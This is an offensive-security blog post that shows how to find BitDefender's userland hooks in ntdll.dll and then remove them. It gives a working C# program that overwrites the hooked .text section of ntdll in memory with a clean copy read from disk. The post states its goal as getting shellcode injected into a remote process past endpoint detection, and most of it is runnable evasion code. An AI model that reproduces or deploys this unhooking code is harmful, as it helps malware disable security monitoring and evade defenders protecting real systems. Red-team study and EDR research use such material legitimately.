Socials

Twitter: https://twitter.com/Mako_Sec GitHub: https://github.com/MakoSec

Environment

  1. Debugging machine with BitDefender installed
  2. C++ Source Code

https://www.ired.team/offensive-security/defense-evasion/how-to-unhook-a-dll-using-c++

Credits / References

This post was originally posted a short while ago. In the original post, I used template code from the RTO Windows Evasion course offered by Sektor7. Since I failed to properly credit them for the code, I deleted the post until I had time to properly redo it. Since then, I worked on trying to implement the Manual Mapping technique to unhook DLL’s in C# and was able to get a working version. This blog post will use the C# version I created from the C++ template code provied on ired.team found here. Please note, I am not claiming ownership of this technique, the code used in this post is a C# port of the c++ code referenced above. This technique can also be performed using a tool such as D/Invoke which can be found here.

Introduction

Endpoint Detection and Response is an ever evolving market that is constantly improving. As offensive security personnel we must be privy to the detection mechanisms employed by EDR vendors to catch and prevent our payloads from running. One such prevention, aimed at preventing various forms of Process Injection is userland hooks. Userland hooks involve EDR software injecting a DLL into a running process that hooks Windows API calls commonly used for malicious tasks. MITRE ATT&CK has a list of some API calls such as CreateRemoteThread, SuspendThread, SetThreadContext, ResumeThread, QueueUserAPC, NtQueueApcThread, VirtualAllocEx, and WriteProcessMemory though there are many more. These hooks can be pesky but as I will demonstrate they can be bypassed fairly easily.

Identifying Hooked DLL’s

Fortunately hooked DLL’s can be pretty easily spotted in a debugger. Take the following example. If we open an executable that is sitting in an AV excluded path and look at the loaded DLL’s you will see nothing out of the ordinary.

Loaded libs loaded libs

Now look at the disassembly of the ntdll function ZwCreateThread and we see a pretty simple structure. Essentially, the parameters for the function stored in RCX are moved into the R10 register, the syscall number is placed into EAX, and then the syscall is made. This is the basic structure for every syscall made with the ntdll library.

NTDLL syscalls: ntdll syscalls

However, if we open in the same binary in the C:\ directory, a non AV excluded path, we see a much different story. This time, when looking at the loaded libraries, one sticks out. atcuf64.dll which originates from BitDefender has been injected into the process. Now looking at the syscall structure in ntdll shows something new too. The first instruction is changed to a jump to some address. If you were to place a breakpoint on this jmp instruction and follow the execution, you will eventually end up in the atcuf64.dll that was injected by BitDefender. This is an indicator that BitDefender is hooking at least ntdll.dll. Repeating this process for other DLL’s reveals that BitDefender also hooks some function calls in KernelBase.dll, I will leave it as an exercise for the reader to spot the differences in the hooked / non-hooked KernelBase.dll. This leaves us with the challenge of bypassing two hooked libraries to inject some shellcode into a remote process.

BitDefender lib bitdefender lib

Hooked functions hooked functions

One question you may ask is why are ntdll functions hooked when commonly used API calls such as VirtualAllocEx and CreateRemoteThread are both exported by kernel32. This is because ntdll.dll is the closest interface to the Windows kernel that any userland process can reach. This means that all higher level function calls such as the ones mentioned will eventually be passed to their ntdll equivalent to be processed. For example, a call to CreateRemoteThread will eventually end up being passed to ZwCreateThreadEx in ntdll.dll.

Creating PInvoke Statements

Since this code is written in C# and requires the use of unmanaged code, the various structures, enums, and function definitions must be included for the code to work. For example, take the following snippet of c++ code from the DLL unhooking code offered on ired[.]team linked above.

PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

This code attempts to first get a pointer to the IMAGE_DOS_HEADER structure using the base address of the targeted DLL. It then attempts to use that pointer to get a new pointer to the IMAGE_NT_HEADERS structure. This code relies on access to the IMAGE_DOS_HEADER and IMAGE_NT_HEADER structures. These structures are included in header files that .NET applications do not have access to. Because of this, the structures have to be defined within the C# code, this can be done by adding the following code pulled from Pinvoke here.

[StructLayout(LayoutKind.Sequential)]
public struct IMAGE_DOS_HEADER
{
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)]
    public char[] e_magic;       // Magic number
    public UInt16 e_cblp;    // Bytes on last page of file
    public UInt16 e_cp;      // Pages in file
    public UInt16 e_crlc;    // Relocations
    public UInt16 e_cparhdr;     // Size of header in paragraphs
    public UInt16 e_minalloc;    // Minimum extra paragraphs needed
    public UInt16 e_maxalloc;    // Maximum extra paragraphs needed
    public UInt16 e_ss;      // Initial (relative) SS value
    public UInt16 e_sp;      // Initial SP value
    public UInt16 e_csum;    // Checksum
    public UInt16 e_ip;      // Initial IP value
    public UInt16 e_cs;      // Initial (relative) CS value
    public UInt16 e_lfarlc;      // File address of relocation table
    public UInt16 e_ovno;    // Overlay number
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
    public UInt16[] e_res1;    // Reserved words
    public UInt16 e_oemid;       // OEM identifier (for e_oeminfo)
    public UInt16 e_oeminfo;     // OEM information; e_oemid specific
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 10)]
    public UInt16[] e_res2;    // Reserved words
    public Int32 e_lfanew;      // File address of new exe header

    private string _e_magic
    {
    get { return new string(e_magic); }
    }

    public bool isValid
    {
    get { return _e_magic == "MZ"; }
    }
}

[StructLayout(LayoutKind.Explicit)]
public struct IMAGE_NT_HEADERS64
{
    [FieldOffset(0)]
    [MarshalAs(UnmanagedType.ByValArray, SizeConst = 4)]
    public char[] Signature;

    [FieldOffset(4)]
    public IMAGE_FILE_HEADER FileHeader;

    [FieldOffset(24)]
    public IMAGE_OPTIONAL_HEADER64 OptionalHeader;

    private string _Signature
    {
        get { return new string(Signature); }
    }

    public bool isValid
    {
        get { return _Signature == "PE\0\0" && OptionalHeader.Magic == MagicType.IMAGE_NT_OPTIONAL_HDR64_MAGIC; }
    }
}

These defined strcutures are just a simple C# translation of the C/C++ definitions shown below.

typedef struct _IMAGE_DOS_HEADER
{
     WORD e_magic;
     WORD e_cblp;
     WORD e_cp;
     WORD e_crlc;
     WORD e_cparhdr;
     WORD e_minalloc;
     WORD e_maxalloc;
     WORD e_ss;
     WORD e_sp;
     WORD e_csum;
     WORD e_ip;
     WORD e_cs;
     WORD e_lfarlc;
     WORD e_ovno;
     WORD e_res[4];
     WORD e_oemid;
     WORD e_oeminfo;
     WORD e_res2[10];
     LONG e_lfanew;
} IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;


typedef struct _IMAGE_NT_HEADERS64 {
  DWORD                   Signature;
  IMAGE_FILE_HEADER       FileHeader;
  IMAGE_OPTIONAL_HEADER64 OptionalHeader;
} IMAGE_NT_HEADERS64, *PIMAGE_NT_HEADERS64;

The DLL unhooking code also makes use of various Windows API calls. These API calls must all be imported from their respective DLL’s similar to how the structures were defined above. The following shows the Pinvoke statements to import the required functions.

[DllImport("psapi.dll", SetLastError=true)]
static extern bool GetModuleInformation(IntPtr hProcess, IntPtr hModule, out MODULEINFO lpmodinfo, uint cb);
[DllImport("kernel32.dll", SetLastError=true)]
static extern IntPtr CreateFileA(string lpFileName, uint dwDesiredAccess,uint dwShareMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition,uint dwFlagsAndAttributes, IntPtr hTemplateFile);
[DllImport("kernel32.dll")]
static extern IntPtr GetCurrentProcess();
[DllImport("kernel32.dll", CharSet=CharSet.Auto)]
public static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
public static extern IntPtr CreateFileMapping(IntPtr hFile,IntPtr lpFileMappingAttributes,FileMapProtection flProtect,uint dwMaximumSizeHigh,uint dwMaximumSizeLow,[MarshalAs(UnmanagedType.LPStr)] string lpName);
[DllImport("kernel32.dll")]
static extern IntPtr MapViewOfFile(IntPtr hFileMappingObject,FileMapAccess dwDesiredAccess,UInt32 dwFileOffsetHigh,UInt32 dwFileOffsetLow,IntPtr dwNumberOfBytesToMap);
[DllImport("kernel32.dll")]
static extern int VirtualProtect(IntPtr lpAddress, UInt32 dwSize, uint flNewProtect, out uint lpflOldProtect);
[DllImport("msvcrt.dll", EntryPoint = "memcpy", CallingConvention = CallingConvention.Cdecl, SetLastError = false)]
public static extern IntPtr memcpy(IntPtr dest, IntPtr src, UInt32 count);
[DllImport("kernel32.dll", SetLastError=true)]
static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll", SetLastError=true)]
[return: MarshalAs(UnmanagedType.Bool)]
static extern bool FreeLibrary(IntPtr hModule);

Lets break down one of these import statements using GetModuleInformation. The C/C++ definition of GetModuleInformation taken from msdn can be found below.

BOOL GetModuleInformation(
  HANDLE       hProcess,
  HMODULE      hModule,
  LPMODULEINFO lpmodinfo,
  DWORD        cb
);

This definition simply states that GetModuleInformation will take four parameters of type HANDLE,HMODULE,LPMODULEINFO, and DWORD. The function definition also states that the return value will be of type BOOL. None of these typings except for BOOL exist in C# so some translations are necessary. Compare the definition from MSDN with the Pinvoke definition found below.

[DllImport("psapi.dll", SetLastError=true)]
static extern bool GetModuleInformation(IntPtr hProcess, IntPtr hModule, out MODULEINFO lpmodinfo, uint cb);

The first line simply states which DLL the function will be imported from, in this case, psapi.dll. The next line starts by adding the modifiers static and extern. These modifiers are required when importing functions from DLL’s in C#. After this, the return type is specified, in this case it is the same as the msdn definition, bool. Finally, the function name and parameters are defined. In the C# definition the HANDLE and HMODULE typings are changed to IntPtr and the DWORD typing is changed to uint. The only paramter that has the same typing is the lpmodinfo parameter of type MODULEINFO. Similar to the IMAGE_DOS_HEADER and IMAGE_NT_HEADER structures, the MODULEINFO structure must be defined in the source code. The MODULEINFO structure can be added with the following code.

[StructLayout(LayoutKind.Sequential)]
public struct MODULEINFO
{
    public IntPtr lpBaseOfDll;
    public uint SizeOfImage;
    public IntPtr EntryPoint;
}

NOTE: There are a variety of structures that are required for this code to function. For brevity sake, I did not include all of them in this post. The full code can be found on my GitHub, or as an exercise, the reader can import the required structures.

Load A Fresh Copy

Now that the necessary structures and functions are imported, the process of unhooking a DLL in C# can begin. This method involves mapping a fresh copy of the target DLL and overwriting the .text section of the hooked version of the DLL with the clean version.

Lets begin to step through the code.

IntPtr curProc = GetCurrentProcess();
MODULEINFO modInfo;
IntPtr handle = GetModuleHandle("ntdll.dll");
GetModuleInformation(curProc,handle,out modInfo,0x18);
IntPtr dllBase = modInfo.lpBaseOfDll;
string fileName = "C:\\Windows\\System32\\ntdll.dll";
IntPtr file = CreateFileA(fileName, GENERIC_READ, FILE_SHARE_READ, IntPtr.Zero, OPEN_EXISTING,0,IntPtr.Zero);
IntPtr mapping = CreateFileMapping(file,IntPtr.Zero, FileMapProtection.PageReadonly | FileMapProtection.SectionImage, 0, 0, null);
IntPtr mappedFile = MapViewOfFile(mapping, FileMapAccess.FileMapRead, 0, 0, IntPtr.Zero);

The above code is responsible for actually mapping the DLL from disk. The code starts off by getting a pointer to the current process as well as a handle to the currently loaded ntdll.dll. Next, the code gets a pointer to the MODULEINFO structure for ntdll.dll in order to get the base address of ntdll. After this, ntdll.dll is mapped from disk using the CreateFileA, CreateFileMapping, and MapViewOfFile Windows API’s. CreateFileA will open a handle to the specified file while CreateFileMapping will use this handle to allocate a chunk of memory for this file. MapViewOfFile will then use this block of memory to actually map the file into memory.

IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(dllBase,typeof(IMAGE_DOS_HEADER));
IntPtr ptrToNt = (dllBase + dosHeader.e_lfanew);
IMAGE_NT_HEADERS64 ntHeaders = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(ptrToNt,typeof(IMAGE_NT_HEADERS64));

This section is fairly straight forward. The code begins by using the PtrToStructure function in the Marshal library to get a pointer to the DOS header structure from the DLL base address. A pointer to the NT headers structure is then achieved by adding the RVA from the DOS header to the base of the DLL and using PtrToStructure to cast the pointer to be of type IMAGE_NT_HEADERS64.

for (int i = 0; i < ntHeaders.FileHeader.NumberOfSections; i++)
{
    IntPtr ptrSectionHeader = (ptrToNt + Marshal.SizeOf(typeof(IMAGE_NT_HEADERS64)));
    IMAGE_SECTION_HEADER sectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure((ptrSectionHeader + (i * Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)))),typeof(IMAGE_SECTION_HEADER));
    string sectionName = new string(sectionHeader.Name);
    
    if (sectionName.Contains("text"))
    {
        uint oldProtect = 0;
        IntPtr lpAddress = IntPtr.Add(dllBase,(int)sectionHeader.VirtualAddress);
        IntPtr srcAddress = IntPtr.Add(mappedFile,(int)sectionHeader.VirtualAddress);
        int vProtect = VirtualProtect(lpAddress,sectionHeader.VirtualSize,0x40,out oldProtect);
        memcpy(lpAddress,srcAddress,sectionHeader.VirtualSize);
        vProtect = VirtualProtect(lpAddress,sectionHeader.VirtualSize,oldProtect,out oldProtect);
    }
}

This next chunk of code is where most of the action takes place. First off, a for loop is started that loops through all of the memory sections within the file. For each of the sections, a pointer to that section header is retrieved and the section name is compared to .text. In both the elf and PE file formats, the .text section of an executable is where all of the executable code is stored. Once the .text section is found, a call to VirtualProtect is made to make the .text section writable. This is done by taking the base address of the target DLL and adding the RVA for the section header. This call is necessary due to memory protection mechanisms such as DEP ensuring that sections of memory are not readable, writable, and executable by default. Once the .text section of the DLL is made writable a call to memcpy is made to copy the .text section from the DLL mapped from disk into the .text section for the DLL containing the EDR hooks. Once this is complete the original memory protections are restored and the function returns.

Once put together the final code looks like the following, omitting the structure and function definitions.

static void Main()
{
    IntPtr curProc = GetCurrentProcess();
    MODULEINFO modInfo;
    IntPtr handle = GetModuleHandle("ntdll.dll");
    GetModuleInformation(curProc,handle,out modInfo,0x18);
    IntPtr dllBase = modInfo.lpBaseOfDll;
    string fileName = "C:\\Windows\\System32\\ntdll.dll";
    IntPtr file = CreateFileA(fileName, GENERIC_READ, FILE_SHARE_READ, IntPtr.Zero, OPEN_EXISTING,0,IntPtr.Zero);
    IntPtr mapping = CreateFileMapping(file,IntPtr.Zero, FileMapProtection.PageReadonly | FileMapProtection.SectionImage, 0, 0, null);
    IntPtr mappedFile = MapViewOfFile(mapping, FileMapAccess.FileMapRead, 0, 0, IntPtr.Zero);
    
    IMAGE_DOS_HEADER dosHeader = (IMAGE_DOS_HEADER)Marshal.PtrToStructure(dllBase,typeof(IMAGE_DOS_HEADER));
    IntPtr ptrToNt = (dllBase + dosHeader.e_lfanew);
    IMAGE_NT_HEADERS64 ntHeaders = (IMAGE_NT_HEADERS64)Marshal.PtrToStructure(ptrToNt,typeof(IMAGE_NT_HEADERS64));
    for (int i = 0; i < ntHeaders.FileHeader.NumberOfSections; i++)
    {
        IntPtr ptrSectionHeader = (ptrToNt + Marshal.SizeOf(typeof(IMAGE_NT_HEADERS64)));
        IMAGE_SECTION_HEADER sectionHeader = (IMAGE_SECTION_HEADER)Marshal.PtrToStructure((ptrSectionHeader + (i * Marshal.SizeOf(typeof(IMAGE_SECTION_HEADER)))),typeof(IMAGE_SECTION_HEADER));
        string sectionName = new string(sectionHeader.Name);
        
        if (sectionName.Contains("text"))
        {
            uint oldProtect = 0;
            IntPtr lpAddress = IntPtr.Add(dllBase,(int)sectionHeader.VirtualAddress);
            IntPtr srcAddress = IntPtr.Add(mappedFile,(int)sectionHeader.VirtualAddress);
            int vProtect = VirtualProtect(lpAddress,sectionHeader.VirtualSize,0x40,out oldProtect);
            memcpy(lpAddress,srcAddress,sectionHeader.VirtualSize);
            vProtect = VirtualProtect(lpAddress,sectionHeader.VirtualSize,oldProtect,out oldProtect);
        }
    }

    CloseHandle(curProc);
    CloseHandle(file);
    CloseHandle(mapping);
    FreeLibrary(handle);

}

Once compiled the code will overwrite the .text section of ntdll in memory with a clean copy from disk, removing the EDR hooks from ntdll functions.

Clean Syscall executed code